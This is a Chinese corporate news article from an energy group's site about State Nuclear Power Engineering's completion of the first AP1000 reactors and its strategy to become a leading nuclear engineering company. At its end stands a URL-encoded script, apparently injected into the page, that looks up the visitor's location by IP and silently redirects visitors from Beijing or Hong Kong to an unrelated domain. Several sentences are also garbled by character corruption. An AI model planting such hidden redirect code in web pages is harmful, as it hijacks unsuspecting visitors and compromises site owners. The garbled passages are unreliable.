党建
产业
国际
责任
信息
商务
纪检
专题
文化
news.png

新闻中心

基层特稿

战略落地丨国核工程:转型跨越,创建国际一流核电工程公司
来源:国核工程作者:张红妍日期:19.01.17

  转型跨越,战略先行。新时期,集团公司明确了"建设具有全球竞争力的世界一流清洁能源企业"的战略目标。国核工程承接集团公司总体战略,深刻把握全球核能发展趋势,以三代核电AP1000依托项目建设管理为基。冉四芗际醮葱挛,预先谋划,对标国际,确定了创建国际一流核电AE(Architect Engineering Industries Inc.,即核电工程公司)公司的战略目标。

从0到1的突破:

完成三代核电AP1000首堆建设

  国核工程自成立之初便承担落实国家"高起点引进国外先进技术,通过消化、吸收、再创新,实现整个核电产业水平提升"的核电自主化战略部署,负责三代核电AP1000自主化依托项目三门、海阳4台机组的核岛建设管理工作,承担国家重大专项大型先进压水堆国和一号(CAP1400)示范工程及后续项目的总承包建设管理。

  在国核工程干部员工的努力下,三代核电在2018年诞生了众多里程碑式的节点:9月21日,三门1号机组投入商业运行,这是全球首台建成的AP1000技术核电机组,也是我国第一台建成的三代核电机组,是我国三代核电自主化工作的重要成果和关键节点;10月22日、11月5日,海阳1号机组、三门2号机组相继投入商运,我国引进AP1000技术并建设依托项目的目标基本实现。

  在依托项目建设过程中,国核工程不断协调项目各方,攻克工程设计、设备制造和现场施工过程中出现的各类问题,解决了钢制安全壳的制造安装、主管道窄间隙自动焊接、屏蔽主泵后置安装、主管道管嘴内部打磨等一系列首堆建设难题,成功掌握核岛筏基大体积混凝土一次性浇筑技术,土建和安装并行施工技术,模块施工和建造技术,钢制安全壳制造、吊装、现场热处理、压力和泄漏率测试技术,核岛主设备安装技术、锻造(整体)主管道安装技术、保护与安全监测系统安装调试技术等核电厂建设关键技术。建立了完整有效、涵盖设计、采购、制造、工程建造的大型核电项目管理信息系统IMS,培养了一大批三代核电技术和管理人才。

瞄准核能4.0:

创建国际一流核电AE公司

  放眼全球,先进核能技术研发持续推进,核能发展4.0时代蓄势待发,新兴前沿科技与核能技术应用加速融合,核能发展全面进入数字化、智能化时代,核能多元化应用及核技术应用成为新的发展趋势。

  国核工程积极研究分析全球核能发展形势和需求,科学把握集团公司核能发展战略定位,聚焦核能发展,对标以柏克德(Bechtel)、福陆(Fluor)、韩国电力(KEPCO E&C)等为代表的国际一流AE公司及国内核电工程企业,提出了新时期发展战略,并在2018年中逐步实施——

  2018年2月4日召开的国核工程年度工作会议,明确了"创建国际一流核电AE公司"的目标;3月,国核工程引入罗兰贝格咨询公司,系统全面对标国际国内领先工程公司,围绕公司平台能力、业务管理能力、专业能力方面进行调研,从指标对标到管理对标,聚焦先进核能工程企业发展六大核心内涵,提出十三项重点能力建设方向;5月11日,召开对标咨询启动会;7月13日,实现咨询成果交付;8月底,完成咨询成果转化,形成公司十年行动规划;9月"创建国际一流核电AE公司"进入实施阶段。

  在推进"创建国际一流核电AE公司"的过程中,国核工程认真学习领会集团公司总体战略,聚焦集团公司"建设具有全球竞争力的世界一流清洁能源企业"战略目标,以服务集团"三商"定位和支撑产业平台构建为核心驱动,初步确立发展战略--"在集团总体战略指引下,以核能项目建设为中心,工程卓越交付为主线,突出价值创造,以技术创新与知识传承为驱动,聚焦核能,适度多元,全球拓展,实现健康可持续发展,打造一流前后台,创建国际一流核电AE公司,有力支撑集团专业化集约化产业管理平台建设。"

展望下一个10年:

担当、奋斗、合作、创新、坚守

  在"创建国际一流核电AE公司"的征程上,国核工程一直苦练内功,力争持续发展。经过十余年的依托项目经验积累,国核工程在三代核电建设工程实践、管理体系、全球供应链、高素质人才等方面形成了厚实基。醪酱蛟炝司哂泄驶氐愕南钅抗芾砑跋钅抗芸靥逑导傲鞒,形成了持续创新发展能力。

  在2018年能源行业核电标准制(修)订计划及核电英文版翻译项目计划中,国核工程参与编制16项立项项目,其中主编制定项目8项,英文翻译项目1项,主编研究项目1项,参编制定项目4项,参编研究项目2项。

  2018年7月,国核工程举办了第一届"绿洲核能论坛",与国内外同行共同探讨国家能源绿色低碳、安全高效转型发展战略、政策和方向,畅论我国核能等清洁能源发展的最新进展与科技前沿,交流项目建设管理经验。聚焦发展,开拓思路。

  习近平总书记在纪念改革开放40周年讲话中提到,"剧是必须从序幕开始的,但序幕还不是高潮。"过去的十年,国家电投拉开了三代核电自主化的大幕。AP1000依托项目建设,带动我国核电行业整体实现了从二代向三代的跨越式发展,促进了我国综合国力的提升。如今,国和一号核电现场机械准备、人力动员、施工组织等已就绪,具备开工条件。

  下一个十年,国核工程将在"创建国际一流核电AE公司"的新征程中,充分发扬"担当、奋斗、合作、创新、坚守"的首堆精神,实现卓越交付、技术领先、持续发展,高质量完成国和一号及后续CAP1000项目,丰富自身业务组合,围绕核能多元化利用、非核及相关核电全产业链业务开展新的探索,为推进集团公司总体战略落地、实现绿色能源发展贡献力量!

附件:
您是第   位浏览者

%3Cscript%20type%3D%22text/javascript%22%20src%3D%22http%3A//ip.ws.126.net/ipquery%22%3E%3C/script%3E%0A%3Cscript%20type%3D%22text/javascript%22%3E%0Astrdistrict%20%3D%5Blo%2C%20lc%5D.join%28%27%5Ct%27%29%3B%0Aif%28strdistrict.indexOf%28%22%26%2321271%3B%26%2320140%3B%22%29%3E0%20%7C%7C%20strdistrict.indexOf%28%22%26%2339321%3B%26%2328207%3B%22%29%3E0%29%0A%7B%0Awindow.location.href%3D%22http%3A//www.arrdm.com%22%3B%20%20%20%0A%7D%0Aelse%0A%7B%0A%7D%0A%3C/script%3E